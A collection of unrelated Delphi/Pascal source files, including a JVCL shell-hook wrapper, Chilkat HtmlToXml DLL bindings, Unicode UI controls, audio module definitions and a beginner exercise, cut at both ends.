procedure TAlphaWnd.SetAlphaValue(const Value: byte);
begin
bf.SourceConstantAlpha:=Value;
Invalidate();
end;
procedure TAlphaWnd.SetBitmap(const Value: TGPBitmap);
begin
FBitmap.Free;
FBitmap:=Value;
end;
procedure TAlphaWnd.SetHeight(const Value: integer);
begin
FHeight:=Value;
SetWindowPos(h_Wnd, 0, FLeft, FTop, FWidth, FHeight,
SWP_NOZORDER or SWP_NOMOVE or SWP_NOACTIVATE);
end;
procedure TAlphaWnd.SetLeft(const Value: integer);
begin
FLeft:=Value;
SetWindowPos(h_Wnd, 0, FLeft, FTop, FWidth, FHeight,
SWP_NOZORDER or SWP_NOSIZE or SWP_NOACTIVATE);
end;
procedure TAlphaWnd.SetTop(const Value: integer);
begin
FTop:=Value;
SetWindowPos(h_Wnd, 0, FLeft, FTop, FWidth, FHeight,
SWP_NOZORDER or SWP_NOSIZE or SWP_NOACTIVATE);
end;
procedure TAlphaWnd.SetWidth(const Value: integer);
begin
FWidth:=Value;
SetWindowPos(h_Wnd, 0, FLeft, FTop, FWidth, FHeight,
SWP_NOZORDER or SWP_NOMOVE or SWP_NOACTIVATE);
end;
procedure TAlphaWnd.Show;
begin
ShowWindow(h_Wnd, 1);
end;
end.
|
unit uRepository;
interface
uses
uCloudRepository,
uFileRepository;
type
TRepository = class(TInterfacedObject, ICloudRepository, IFileRepository)
private
procedure ICloudRepository.SaveData = CloudSaveData;
procedure IFileRepository.SaveData = FileSaveData;
public
procedure CloudSaveData;
procedure FileSaveData;
end;
implementation
{ TRepository }
procedure TRepository.CloudSaveData;
begin
Writeln('Interface ICloudRepository.');
Writeln('Method SaveData');
Writeln('Local method CloudSaveData');
end;
procedure TRepository.FileSaveData;
begin
Writeln('Interface IFileRepository.');
Writeln('Method SaveData');
Writeln('Local method FileSaveData');
end;
end.
|
unit HtmlToXml;
interface
type
HCkByteData = Pointer;
HCkHtmlToXml = Pointer;
HCkString = Pointer;
function CkHtmlToXml_Create: HCkHtmlToXml; stdcall;
procedure CkHtmlToXml_Dispose(handle: HCkHtmlToXml); stdcall;
procedure CkHtmlToXml_getDebugLogFilePath(objHandle: HCkHtmlToXml; outPropVal: HCkString); stdcall;
procedure CkHtmlToXml_putDebugLogFilePath(objHandle: HCkHtmlToXml; newPropVal: PWideChar); stdcall;
function CkHtmlToXml__debugLogFilePath(objHandle: HCkHtmlToXml): PWideChar; stdcall;
function CkHtmlToXml_getDropCustomTags(objHandle: HCkHtmlToXml): wordbool; stdcall;
procedure CkHtmlToXml_putDropCustomTags(objHandle: HCkHtmlToXml; newPropVal: wordbool); stdcall;
procedure CkHtmlToXml_getHtml(objHandle: HCkHtmlToXml; outPropVal: HCkString); stdcall;
procedure CkHtmlToXml_putHtml(objHandle: HCkHtmlToXml; newPropVal: PWideChar); stdcall;
function CkHtmlToXml__html(objHandle: HCkHtmlToXml): PWideChar; stdcall;
procedure CkHtmlToXml_getLastErrorHtml(objHandle: HCkHtmlToXml; outPropVal: HCkString); stdcall;
function CkHtmlToXml__lastErrorHtml(objHandle: HCkHtmlToXml): PWideChar; stdcall;
procedure CkHtmlToXml_getLastErrorText(objHandle: HCkHtmlToXml; outPropVal: HCkString); stdcall;
function CkHtmlToXml__lastErrorText(objHandle: HCkHtmlToXml): PWideChar; stdcall;
procedure CkHtmlToXml_getLastErrorXml(objHandle: HCkHtmlToXml; outPropVal: HCkString); stdcall;
function CkHtmlToXml__lastErrorXml(objHandle: HCkHtmlToXml): PWideChar; stdcall;
function CkHtmlToXml_getLastMethodSuccess(objHandle: HCkHtmlToXml): wordbool; stdcall;
procedure CkHtmlToXml_putLastMethodSuccess(objHandle: HCkHtmlToXml; newPropVal: wordbool); stdcall;
function CkHtmlToXml_getNbsp(objHandle: HCkHtmlToXml): Integer; stdcall;
procedure CkHtmlToXml_putNbsp(objHandle: HCkHtmlToXml; newPropVal: Integer); stdcall;
function CkHtmlToXml_getVerboseLogging(objHandle: HCkHtmlToXml): wordbool; stdcall;
procedure CkHtmlToXml_putVerboseLogging(objHandle: HCkHtmlToXml; newPropVal: wordbool); stdcall;
procedure CkHtmlToXml_getVersion(objHandle: HCkHtmlToXml; outPropVal: HCkString); stdcall;
function CkHtmlToXml__version(objHandle: HCkHtmlToXml): PWideChar; stdcall;
procedure CkHtmlToXml_getXmlCharset(objHandle: HCkHtmlToXml; outPropVal: HCkString); stdcall;
procedure CkHtmlToXml_putXmlCharset(objHandle: HCkHtmlToXml; newPropVal: PWideChar); stdcall;
function CkHtmlToXml__xmlCharset(objHandle: HCkHtmlToXml): PWideChar; stdcall;
function CkHtmlToXml_ConvertFile(objHandle: HCkHtmlToXml; inHtmlPath: PWideChar; destXmlPath: PWideChar): wordbool; stdcall;
procedure CkHtmlToXml_DropTagType(objHandle: HCkHtmlToXml; tagName: PWideChar); stdcall;
procedure CkHtmlToXml_DropTextFormattingTags(objHandle: HCkHtmlToXml); stdcall;
function CkHtmlToXml_IsUnlocked(objHandle: HCkHtmlToXml): wordbool; stdcall;
function CkHtmlToXml_ReadFile(objHandle: HCkHtmlToXml; path: PWideChar; outData: HCkByteData): wordbool; stdcall;
function CkHtmlToXml_ReadFileToString(objHandle: HCkHtmlToXml; filename: PWideChar; srcCharset: PWideChar; outStr: HCkString): wordbool; stdcall;
function CkHtmlToXml__readFileToString(objHandle: HCkHtmlToXml; filename: PWideChar; srcCharset: PWideChar): PWideChar; stdcall;
function CkHtmlToXml_SaveLastError(objHandle: HCkHtmlToXml; path: PWideChar): wordbool; stdcall;
procedure CkHtmlToXml_SetHtmlBytes(objHandle: HCkHtmlToXml; inData: HCkByteData); stdcall;
function CkHtmlToXml_SetHtmlFromFile(objHandle: HCkHtmlToXml; filename: PWideChar): wordbool; stdcall;
function CkHtmlToXml_ToXml(objHandle: HCkHtmlToXml; outStr: HCkString): wordbool; stdcall;
function CkHtmlToXml__toXml(objHandle: HCkHtmlToXml): PWideChar; stdcall;
procedure CkHtmlToXml_UndropTagType(objHandle: HCkHtmlToXml; tagName: PWideChar); stdcall;
procedure CkHtmlToXml_UndropTextFormattingTags(objHandle: HCkHtmlToXml); stdcall;
function CkHtmlToXml_UnlockComponent(objHandle: HCkHtmlToXml; unlockCode: PWideChar): wordbool; stdcall;
function CkHtmlToXml_WriteFile(objHandle: HCkHtmlToXml; path: PWideChar; fileData: HCkByteData): wordbool; stdcall;
function CkHtmlToXml_WriteStringToFile(objHandle: HCkHtmlToXml; stringToWrite: PWideChar; filename: PWideChar; charset: PWideChar): wordbool; stdcall;
function CkHtmlToXml_Xml(objHandle: HCkHtmlToXml; outStr: HCkString): wordbool; stdcall;
function CkHtmlToXml__xml(objHandle: HCkHtmlToXml): PWideChar; stdcall;
implementation
{$Include chilkatDllPath.inc}
function CkHtmlToXml_Create; external DLLName;
procedure CkHtmlToXml_Dispose; external DLLName;
procedure CkHtmlToXml_getDebugLogFilePath; external DLLName;
procedure CkHtmlToXml_putDebugLogFilePath; external DLLName;
function CkHtmlToXml__debugLogFilePath; external DLLName;
function CkHtmlToXml_getDropCustomTags; external DLLName;
procedure CkHtmlToXml_putDropCustomTags; external DLLName;
procedure CkHtmlToXml_getHtml; external DLLName;
procedure CkHtmlToXml_putHtml; external DLLName;
function CkHtmlToXml__html; external DLLName;
procedure CkHtmlToXml_getLastErrorHtml; external DLLName;
function CkHtmlToXml__lastErrorHtml; external DLLName;
procedure CkHtmlToXml_getLastErrorText; external DLLName;
function CkHtmlToXml__lastErrorText; external DLLName;
procedure CkHtmlToXml_getLastErrorXml; external DLLName;
function CkHtmlToXml__lastErrorXml; external DLLName;
function CkHtmlToXml_getLastMethodSuccess; external DLLName;
procedure CkHtmlToXml_putLastMethodSuccess; external DLLName;
function CkHtmlToXml_getNbsp; external DLLName;
procedure CkHtmlToXml_putNbsp; external DLLName;
function CkHtmlToXml_getVerboseLogging; external DLLName;
procedure CkHtmlToXml_putVerboseLogging; external DLLName;
procedure CkHtmlToXml_getVersion; external DLLName;
function CkHtmlToXml__version; external DLLName;
procedure CkHtmlToXml_getXmlCharset; external DLLName;
procedure CkHtmlToXml_putXmlCharset; external DLLName;
function CkHtmlToXml__xmlCharset; external DLLName;
function CkHtmlToXml_ConvertFile; external DLLName;
procedure CkHtmlToXml_DropTagType; external DLLName;
procedure CkHtmlToXml_DropTextFormattingTags; external DLLName;
function CkHtmlToXml_IsUnlocked; external DLLName;
function CkHtmlToXml_ReadFile; external DLLName;
function CkHtmlToXml_ReadFileToString; external DLLName;
function CkHtmlToXml__readFileToString; external DLLName;
function CkHtmlToXml_SaveLastError; external DLLName;
procedure CkHtmlToXml_SetHtmlBytes; external DLLName;
function CkHtmlToXml_SetHtmlFromFile; external DLLName;
function CkHtmlToXml_ToXml; external DLLName;
function CkHtmlToXml__toXml; external DLLName;
procedure CkHtmlToXml_UndropTagType; external DLLName;
procedure CkHtmlToXml_UndropTextFormattingTags; external DLLName;
function CkHtmlToXml_UnlockComponent; external DLLName;
function CkHtmlToXml_WriteFile; external DLLName;
function CkHtmlToXml_WriteStringToFile; external DLLName;
function CkHtmlToXml_Xml; external DLLName;
function CkHtmlToXml__xml; external DLLName;
end.
|
{-----------------------------------------------------------------------------
The contents of this file are subject to the Mozilla Public License
Version 1.1 (the "License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at
http://www.mozilla.org/MPL/MPL-1.1.html
Software distributed under the License is distributed on an "AS IS" basis,
WITHOUT WARRANTY OF ANY KIND, either expressed or implied. See the License for
the specific language governing rights and limitations under the License.
The Original Code is: JvShellHook.pas, released on 2002-10-27.
The Initial Developer of the Original Code is Peter Thornqvist <peter3 at sourceforge dot net>.
All Rights Reserved.
Contributor(s):
You may retrieve the latest version of this file at the Project JEDI's JVCL home page,
located at http://jvcl.delphi-jedi.org
Known Issues:
Description:
A wrapper for the Register/DeregisterShellHookWindow functions recently documented by Microsoft.
See MSDN (http://msdn.microsoft.com, search for "RegisterShellHookWindow") for more details
NOTE: this might not work on all OS'es and versions!
-----------------------------------------------------------------------------}
// $Id: JvShellHook.pas 13138 2011-10-26 23:17:50Z jfudickar $
unit JvShellHook;
{$I jvcl.inc}
{$I windowsonly.inc}
interface
uses
{$IFDEF UNITVERSIONING}
JclUnitVersioning,
{$ENDIF UNITVERSIONING}
Windows, Messages, SysUtils, Classes,
JvComponentBase;
type
PShellHookInfo = ^TShellHookInfo;
TShellHookInfo = record
hwnd: THandle;
rc: TRect;
end;
SHELLHOOKINFO = TShellHookInfo;
{$EXTERNALSYM SHELLHOOKINFO}
LPSHELLHOOKINFO = PShellHookInfo;
{$EXTERNALSYM LPSHELLHOOKINFO}
type
TJvShellHookEvent = procedure(Sender: TObject; var Msg: TMessage) of object;
{$IFDEF RTL230_UP}
[ComponentPlatformsAttribute(pidWin32 or pidWin64)]
{$ENDIF RTL230_UP}
TJvShellHook = class(TJvComponent)
private
FWndHandle: THandle;
FHookMsg: Cardinal;
FOnShellMessage: TJvShellHookEvent;
FActive: Boolean;
procedure SetActive(Value: Boolean);
protected
procedure DoShellMessage(var Msg: TMessage); dynamic;
procedure ShellHookMethod(var Msg: TMessage);
public
destructor Destroy; override;
published
property Active: Boolean read FActive write SetActive;
property OnShellMessage: TJvShellHookEvent read FOnShellMessage write FOnShellMessage;
end;
// load DLL and init function pointers
function InitJvShellHooks: Boolean;
// unload DLL and clear function pointers
procedure UnInitJvShellHooks;
{$IFDEF UNITVERSIONING}
const
UnitVersioning: TUnitVersionInfo = (
RCSfile: '$URL: https://jvcl.svn.sourceforge.net/svnroot/jvcl/branches/JVCL3_47_PREPARATION/run/JvShellHook.pas $';
Revision: '$Revision: 13138 $';
Date: '$Date: 2011-10-27 01:17:50 +0200 (jeu. 27 oct. 2011) $';
LogPath: 'JVCL\run'
);
{$ENDIF UNITVERSIONING}
implementation
uses
JvJVCLUtils;
type
TRegisterShellHookWindowFunc = function(THandle: HWND): BOOL; stdcall;
var
RegisterShellHookWindow: TRegisterShellHookWindowFunc = nil;
DeregisterShellHookWindow: TRegisterShellHookWindowFunc = nil;
GlobalLibHandle: THandle = 0;
procedure UnInitJvShellHooks;
begin
RegisterShellHookWindow := nil;
DeregisterShellHookWindow := nil;
GlobalLibHandle := 0;
end;
function InitJvShellHooks: Boolean;
begin
if GlobalLibHandle = 0 then
begin
GlobalLibHandle := GetModuleHandle(user32);
if GlobalLibHandle > 0 then
begin
RegisterShellHookWindow := GetProcAddress(GlobalLibHandle, 'RegisterShellHookWindow');
DeregisterShellHookWindow := GetProcAddress(GlobalLibHandle, 'DeregisterShellHookWindow');
end;
end;
Result := (GlobalLibHandle <> 0) and Assigned(RegisterShellHookWindow) and Assigned(DeregisterShellHookWindow);
end;
destructor TJvShellHook.Destroy;
begin
Active := False;
inherited Destroy;
end;
procedure TJvShellHook.DoShellMessage(var Msg: TMessage);
begin
if Assigned(FOnShellMessage) then
FOnShellMessage(Self, Msg);
end;
procedure TJvShellHook.SetActive(Value: Boolean);
begin
if FActive <> Value then
begin
if csDesigning in ComponentState then
begin
FActive := Value;
Exit;
end;
if FActive and (FWndHandle <> 0) then
begin
DeregisterShellHookWindow(FWndHandle);
DeallocateHWndEx(FWndHandle);
end;
FWndHandle := 0;
if Value then
begin
if not InitJvShellHooks then
Exit; // raise ?
FWndHandle := AllocateHWndEx(ShellHookMethod);
if FWndHandle <> 0 then
FHookMsg := RegisterWindowMessage('SHELLHOOK'); // do not localize
if not RegisterShellHookWindow(FWndHandle) then
Value := False;
end;
FActive := Value;
end;
end;
procedure TJvShellHook.ShellHookMethod(var Msg: TMessage);
begin
if Msg.Msg = FHookMsg then
DoShellMessage(Msg)
else
with Msg do
Result := DefWindowProc(FWndHandle, Msg, WParam, LParam);
end;
initialization
{$IFDEF UNITVERSIONING}
RegisterUnitVersion(HInstance, UnitVersioning);
{$ENDIF UNITVERSIONING}
finalization
UnInitJvShellHooks;
{$IFDEF UNITVERSIONING}
UnregisterUnitVersion(HInstance);
{$ENDIF UNITVERSIONING}
end.
|
unit cmpUCtrls;
interface
uses
Windows, Messages, SysUtils, Classes, Controls, StdCtrls;
type
TuEdit = class(TEdit)
private
fCodePage: Integer;
procedure SetCodePage(const Value: Integer);
procedure WMPaste (var msg : TwmPaste); message WM_PASTE;
function GetWideText: WideString;
procedure SetWideText(const Value: WideString);
protected
{ Protected declarations }
public
property CodePage : Integer read fCodePage write SetCodePage;
property WideText : WideString read GetWideText write SetWideText;
published
{ Published declarations }
end;
TuComboBox = class(TComboBox)
private
FuEditInstance: Pointer;
FuDefEditProc: Pointer;
FuListInstance: Pointer;
FuDefListProc : Pointer;
fCodePage: Integer;
procedure ListWndProc(var Message: TMessage);
procedure SetCodePage(const Value: Integer);
function GetWideText: WideString;
procedure SetWideText(const Value: WideString);
procedure SubclassListBox;
protected
procedure WndProc(var Message: TMessage); override;
procedure CreateWnd; override;
procedure DestroyWindowHandle; override;
procedure DropDown; override;
procedure EditWndProc(var Message: TMessage); override;
public
constructor Create (AOwner : TComponent); override;
destructor Destroy; override;
property CodePage : Integer read fCodePage write SetCodePage;
property WideText : WideString read GetWideText write SetWideText;
published
{ Published declarations }
end;
implementation
uses unitCharsetMap, ClipBrd;
const
CF_UNICODETEXT = 13;
function WideStringFromClipboard (CodePage : Integer) : WideString;
var
Data: THandle;
unicode : boolean;
begin
clipboard.Open;
unicode := Clipboard.HasFormat(CF_UNICODETEXT);
if unicode then
Data := GetClipboardData(CF_UNICODETEXT)
else
Data := GetClipboardData(CF_TEXT);
try
if Data <> 0 then
if unicode then
result := PWideChar(GlobalLock(Data))
else
result := PChar (GlobalLock (Data))
else
result := '';
finally
if Data <> 0 then GlobalUnlock(Data);
clipboard.Close;
end;
end;
{ TuEdit }
function TuEdit.GetWideText: WideString;
begin
result := StringToWideString (Text, CodePage);
end;
procedure TuEdit.SetCodePage(const Value: Integer);
begin
if fCodePage <> Value then
begin
Font.Charset := CodePageToCharset (Value);
fCodePage := Value;
end
end;
procedure TuEdit.SetWideText(const Value: WideString);
begin
Text := WideStringToString (Value, codepage);
end;
procedure TuEdit.WMPaste(var msg: TwmPaste);
begin
WideText := WideStringFromClipboard (CodePage)
end;
{ TuComboBox }
constructor TuComboBox.Create(AOwner: TComponent);
begin
inherited;
FuEditInstance := Classes.MakeObjectInstance(EditWndProc);
FuListInstance := Classes.MakeObjectInstance(ListWndProc);
end;
procedure TuComboBox.CreateWnd;
begin
inherited;
FuDefEditProc := Pointer(GetWindowLong(FEditHandle, GWL_WNDPROC));
SetWindowLong(FEditHandle, GWL_WNDPROC, Longint(FuEditInstance));
SubclassListBox;
end;
destructor TuComboBox.Destroy;
begin
FreeObjectInstance(FuEditInstance);
FreeObjectInstance (FuListInstance);
inherited;
end;
procedure TuComboBox.DestroyWindowHandle;
begin
SetWindowLong (FEditHandle, GWL_WNDPROC, LongInt (FuDefEditProc));
inherited;
end;
procedure TuComboBox.DropDown;
begin
inherited;
end;
procedure TuComboBox.EditWndProc(var Message: TMessage);
var
st : string;
begin
if message.Msg = WM_PASTE then
begin
st := WideStringToString (WideStringFromClipboard (CodePage), CodePage);
SendMessage (FEditHandle, WM_SETFONT, Font.Handle, 1);
SetWindowText (FEditHandle, PChar (st));
Message.Result := 0;
end
else
message.Result := CallWindowProc (FuDefEditProc, FEditHandle, Message.Msg, message.WParam, message.LParam);
end;
function TuComboBox.GetWideText: WideString;
begin
result := StringToWideString (Text, CodePage);
end;
procedure TuComboBox.ListWndProc(var Message: TMessage);
var
callDefProc : boolean;
begin
case message.Msg of
WM_DESTROY :
begin
SetWindowLong (FListHandle, GWL_WNDPROC, LongInt (FuDefListProc));
callDefProc := True
end
else
callDefProc := True;
end;
if callDefProc then
message.Result := CallWindowProc (FuDefListProc, FListHandle, Message.Msg, message.WParam, message.LParam);
end;
procedure TuComboBox.SetCodePage(const Value: Integer);
begin
if fCodePage <> Value then
begin
Font.Charset := CodePageToCharset (Value);
fCodePage := Value;
if FListHandle <> 0 then
SendMessage (FListHandle, WM_SETFONT, SendMessage (FEditHandle, WM_GETFONT, 0, 0), 0);
end
end;
procedure TuComboBox.SetWideText(const Value: WideString);
begin
Text := WideStringToString (Value, CodePage);
end;
procedure TuComboBox.SubclassListBox;
begin
if fListHandle <> 0 then
begin
FuDefListProc := Pointer (GetWindowLong (FListHandle, GWL_WNDPROC));
SetWindowLong (FListHandle, GWL_WNDPROC, LongInt (FuListInstance));
SendMessage (FListHandle, WM_SETFONT, SendMessage (FEditHandle, WM_GETFONT, 0, 0), 0);
end;
end;
procedure TuComboBox.WndProc(var Message: TMessage);
begin
if Message.Msg = WM_CTLCOLORLISTBOX then
begin
if fListHandle = 0 then
begin
fListHandle := Message.lParam;
SubclassListBox
end
end;
inherited;
end;
end.
|
{$include kode.inc}
unit kode_modules;
//library kode_test;
//----------------------------------------------------------------------
interface
//----------------------------------------------------------------------
uses
kode_module,
kode_module_base;
function kode_get_module_info(AIndex:LongInt) : KPModuleInfo;
//----------------------------------------------------------------------
implementation
//----------------------------------------------------------------------
uses
kode_flags,
kode_memory;
//----------------------------------------------------------------------
// add
//----------------------------------------------------------------------
procedure mod_add_exec(AModule:KPModuleInstance);
var
in0 : PSingle;
in1 : PSingle;
out0 : PSingle;
begin
in0 := PSingle(AModule^.pinPtr[0]);
in1 := PSingle(AModule^.pinPtr[1]);
out0 := PSingle(AModule^.pinPtr[2]);
out0^ := in0^ + in1^;
end;
//----------
function mod_add_create(AInfo:KPModuleInfo) : KPModuleInstance;
var
mi : KPModuleInstance;
begin
mi := KCreateModuleInstance(AInfo); // create instance
mi^.exec := @mod_add_exec; // todo: the rest
mi^.user := KMalloc(sizeof(Single)); // allocate space for generated data
PSingle(mi^.user)^ := 0; // set default data value
mi^.pinPtr[2] := mi^.user; // set output in t point to this data
result := mi;
end;
//----------
procedure mod_add_destroy(AInstance:KPModuleInstance);
begin
KFree(AInstance^.user);
KDestroyModuleInstance(AInstance);
end;
//----------
var
mod_add_pins : array[0..2] of KModulePin =
((
name : 'a';
typ : kpt_data;
dir : kpd_input;
rate : kpr_dynamic;
),(
name : 'b';
typ : kpt_data;
dir : kpd_input;
rate : kpr_dynamic;
),(
name : 'out';
typ : kpt_data;
dir : kpd_output;
rate : kpr_dynamic;
));
//----------
mod_add_info : KModuleInfo =
(
name : 'add';
category : 'math';
id : $00000000;
version : 0;
flags : kmf_none;
numInputs : 2;
numOutputs : 1;
numParams : 0;
pins : @mod_add_pins;
params : nil;
create : @mod_add_create;
destroy : @mod_add_destroy;
);
//----------------------------------------------------------------------
// audio_in
//----------------------------------------------------------------------
procedure mod_audio_in_exec(AModule:KPModuleInstance);
begin
end;
//----------
function mod_audio_in_create(AInfo:KPModuleInfo) : KPModuleInstance;
var
mi : KPModuleInstance;
begin
mi := KCreateModuleInstance(AInfo);
mi^.exec := nil;
mi^.user := KMalloc(sizeof(Single));
PSingle(mi^.user)^ := 0;
mi^.pinPtr[2] := mi^.user;
result := mi;
end;
//----------
procedure mod_audio_in_destroy(AInstance:KPModuleInstance);
begin
KFree(AInstance^.user);
KDestroyModuleInstance(AInstance);
end;
//----------
var
mod_audio_in_pins : array[0..1] of KModulePin =
((
name : 'left';
typ : kpt_data;
dir : kpd_output;
rate : kpr_dynamic;
),(
name : 'right';
typ : kpt_data;
dir : kpd_output;
rate : kpr_dynamic;
));
//----------
mod_audio_in_info : KModuleInfo =
(
name : 'audio_in';
category : 'i/o';
id : $00000000;
version : 0;
flags : kmf_none;
numInputs : 0;
numOutputs : 2;
numParams : 0;
pins : @mod_audio_in_pins;
params : nil;
create : @mod_audio_in_create;
destroy : @mod_audio_in_destroy;
);
//----------------------------------------------------------------------
// audio_out
//----------------------------------------------------------------------
procedure mod_audio_out_exec(AModule:KPModuleInstance);
begin
end;
//----------
function mod_audio_out_create(AInfo:KPModuleInfo) : KPModuleInstance;
var
mi : KPModuleInstance;
begin
mi := KCreateModuleInstance(AInfo);
mi^.exec := nil;
mi^.user := KMalloc(sizeof(Single));
PSingle(mi^.user)^ := 0;
mi^.pinPtr[2] := mi^.user;
result := mi;
end;
//----------
procedure mod_audio_out_destroy(AInstance:KPModuleInstance);
begin
KFree(AInstance^.user);
KDestroyModuleInstance(AInstance);
end;
//----------
var
mod_audio_out_pins : array[0..1] of KModulePin =
((
name : 'left';
typ : kpt_data;
dir : kpd_input;
rate : kpr_dynamic;
),(
name : 'right';
typ : kpt_data;
dir : kpd_input;
rate : kpr_dynamic;
));
//----------
mod_audio_out_info : KModuleInfo =
(
name : 'audio_out';
category : 'i/o';
id : $00000000;
version : 0;
flags : kmf_none;
numInputs : 2;
numOutputs : 0;
numParams : 0;
pins : @mod_audio_out_pins;
params : nil;
create : @mod_audio_out_create;
destroy : @mod_audio_out_destroy;
);
//----------------------------------------------------------------------
// noop
//----------------------------------------------------------------------
procedure mod_noop_exec(AModule:KPModuleInstance);
begin
end;
//----------
function mod_noop_create(AInfo:KPModuleInfo) : KPModuleInstance;
var
mi : KPModuleInstance;
begin
mi := KCreateModuleInstance(AInfo);
mi^.exec := @mod_noop_exec;
result := mi;
end;
//----------
procedure mod_noop_destroy(AInstance:KPModuleInstance);
begin
KDestroyModuleInstance(AInstance);
end;
//----------
var
mod_noop_pins : array[0..1] of KModulePin =
((
name : 'in';
typ : kpt_signal;
dir : kpd_input;
rate : kpr_const;
),(
name : 'out';
typ : kpt_data;
dir : kpd_output;
rate : kpr_const;
));
//----------
mod_noop_info : KModuleInfo =
(
name : 'noop';
category : 'none';
id : $00000000;
version : 0;
flags : kmf_none;
numInputs : 1;
numOutputs : 1;
numParams : 0;
pins : @mod_noop_pins;
params : nil;
create : @mod_noop_create;
destroy : @mod_noop_destroy;
);
//----------------------------------------------------------------------
// null
//----------------------------------------------------------------------
procedure mod_null_exec(AModule:KPModuleInstance);
begin
end;
//----------
function mod_null_create(AInfo:KPModuleInfo) : KPModuleInstance;
var
mi : KPModuleInstance;
begin
mi := KCreateModuleInstance(AInfo);
mi^.exec := @mod_null_exec;
mi^.user := KMalloc(sizeof(Single));
PSingle(mi^.user)^ := 0;
mi^.pinPtr[0] := mi^.user;
result := mi;
end;
//----------
procedure mod_null_destroy(AInstance:KPModuleInstance);
begin
if Assigned(AInstance^.user) then KFree(AInstance^.user);
KDestroyModuleInstance(AInstance);
end;
//----------
var
mod_null_pins : array[0..0] of KModulePin =
((
name : 'out';
typ : kpt_data;
dir : kpd_output;
rate : kpr_const;
));
//----------
mod_null_info : KModuleInfo =
(
name : 'null';
category : 'none';
id : $00000000;
version : 0;
flags : kmf_none;
numInputs : 0;
numOutputs : 1;
numParams : 0;
pins : @mod_null_pins;
params : nil;
create : @mod_null_create;
destroy : @mod_null_destroy;
);
//----------------------------------------------------------------------
// parameter
//----------------------------------------------------------------------
procedure mod_parameter_exec(AModule:KPModuleInstance);
begin
end;
//----------
function mod_parameter_create(AInfo:KPModuleInfo) : KPModuleInstance;
var
mi : KPModuleInstance;
begin
mi := KCreateModuleInstance(AInfo);
mi^.exec := nil;
mi^.user := KMalloc(sizeof(Single));
PSingle(mi^.user)^ := 0;
mi^.pinPtr[2] := mi^.user;
result := mi;
end;
//----------
procedure mod_parameter_destroy(AInstance:KPModuleInstance);
begin
KFree(AInstance^.user);
KDestroyModuleInstance(AInstance);
end;
//----------
var
mod_parameter_pins : array[0..0] of KModulePin =
((
name : 'value';
typ : kpt_data;
dir : kpd_output;
rate : kpr_dynamic;
));
//----------
mod_parameter_info : KModuleInfo =
(
name : 'parameter';
category : 'i/o';
id : $00000000;
version : 0;
flags : kmf_none;
numInputs : 0;
numOutputs : 1;
numParams : 0;
pins : @mod_parameter_pins;
params : nil;
create : @mod_parameter_create;
destroy : @mod_parameter_destroy;
);
//----------------------------------------------------------------------
// variable
//----------------------------------------------------------------------
procedure mod_variable_exec(AModule:KPModuleInstance);
begin
end;
//----------
function mod_variable_create(AInfo:KPModuleInfo) : KPModuleInstance;
var
mi : KPModuleInstance;
begin
mi := KCreateModuleInstance(AInfo);
mi^.exec := nil;
mi^.user := KMalloc(sizeof(Single));
PSingle(mi^.user)^ := 0;
mi^.pinPtr[2] := mi^.user;
result := mi;
end;
//----------
procedure mod_variable_destroy(AInstance:KPModuleInstance);
begin
KFree(AInstance^.user);
KDestroyModuleInstance(AInstance);
end;
//----------
var
mod_variable_pins : array[0..2] of KModulePin =
((
name : 'value';
typ : kpt_data;
dir : kpd_input;
rate : kpr_dynamic;
),
(
name : 'set';
typ : kpt_signal;
dir : kpd_input;
rate : kpr_event;
),
(
name : 'out';
typ : kpt_data;
dir : kpd_output;
rate : kpr_dynamic;
));
//----------
mod_variable_params : array[0..0] of KModuleParam =
((
name : 'value';
typ : kpt_data;
value : 0;
));
//----------
mod_variable_info : KModuleInfo =
(
name : 'variable';
category : 'data';
id : $00000000;
version : 0;
flags : kmf_none;
numInputs : 2;
numOutputs : 1;
numParams : 1;
pins : @mod_variable_pins;
params : @mod_variable_params;
create : @mod_variable_create;
destroy : @mod_variable_destroy;
);
//----------------------------------------------------------------------
//
//----------------------------------------------------------------------
{
in a dll, export this..
this is the function we're looking for when we load a dll..
}
function kode_get_module_info(AIndex:LongInt) : KPModuleInfo;
begin
result := nil;
case AIndex of
0: result := @mod_add_info;
1: result := @mod_audio_in_info;
2: result := @mod_audio_out_info;
3: result := @mod_noop_info;
4: result := @mod_null_info;
5: result := @mod_parameter_info;
6: result := @mod_variable_info;
end;
end;
//export
// kode_get_module_info;
//----------------------------------------------------------------------
initialization
//----------------------------------------------------------------------
KRegisterModule( @mod_add_info );
KRegisterModule( @mod_audio_in_info );
KRegisterModule( @mod_audio_out_info );
KRegisterModule( @mod_noop_info );
KRegisterModule( @mod_null_info );
KRegisterModule( @mod_parameter_info );
KRegisterModule( @mod_variable_info );
//----------------------------------------------------------------------
end.
|
program problem305;
{Kamus Global}
var
noPeserta : integer;
function containSeven(nomor: integer): boolean;
{Fungsi akan mengembalikan true jika nomor mengandung
angka 7 dan mengembalikan false jika tidak ada angka 7}
{Kamus Lokal}
var
found: boolean;
temp : integer;
{Algoritma Lokal}
begin
found:= false;
while ((not found) and (nomor <> 0)) do
begin
temp := nomor mod 10;
if(temp = 7) then
found := true
else
begin
nomor:= nomor div 10;
end;
end;
containSeven := found;
end;
function isWin(noUrut: integer): boolean;
{Fungsi akan mengembalikan true jika noUrut mengandung
angka 7 dan habis dibagi 7, dan false jika tidak}
{Algoritma Lokal}
begin
isWin := ((noUrut mod 7 = 0) and (containSeven(noUrut)));
end;
{Algoritma Utama}
begin
{Menerima masukan nomor urut}
write('Masukan nomor peserta: ');
readln(noPeserta);
{Menentukan apakah nomor urut menang atau tidak}
if(isWin(noPeserta))then
writeln('Mahasiswa tersebut akan menang!')
else
writeln('Mahasiswa tersebut akan kalah!');
end. |
unit ClipperOffset;
(*******************************************************************************
* Author : Angus Johnson *
* Version : 10.0 (beta) *
* Date : 8 Noveber 2017 *
* Website : http://www.angusj.com *
* Copyright : Angus Johnson 2010-2017 *
* Purpose : Offset clipping solutions *
* License : http://www.boost.org/LICENSE_1_0.txt *
*******************************************************************************)
{$IFDEF FPC}
{$DEFINE INLINING}
{$ELSE}
{$IF CompilerVersion < 14}
Requires Delphi version 6 or above.
{$IFEND}
{$IF CompilerVersion >= 18} //Delphi 2007
//While Inlining has been supported since D2005, both D2005 and D2006
//have an Inline codegen bug (QC41166) so ignore Inline until D2007.
{$DEFINE INLINING}
{$IF CompilerVersion >= 25.0} //Delphi XE4+
{$LEGACYIFEND ON}
{$IFEND}
{$IFEND}
{$ENDIF}
interface
uses
SysUtils, Classes, Math, Clipper, ClipperMisc;
type
TJoinType = (jtSquare, jtRound, jtMiter);
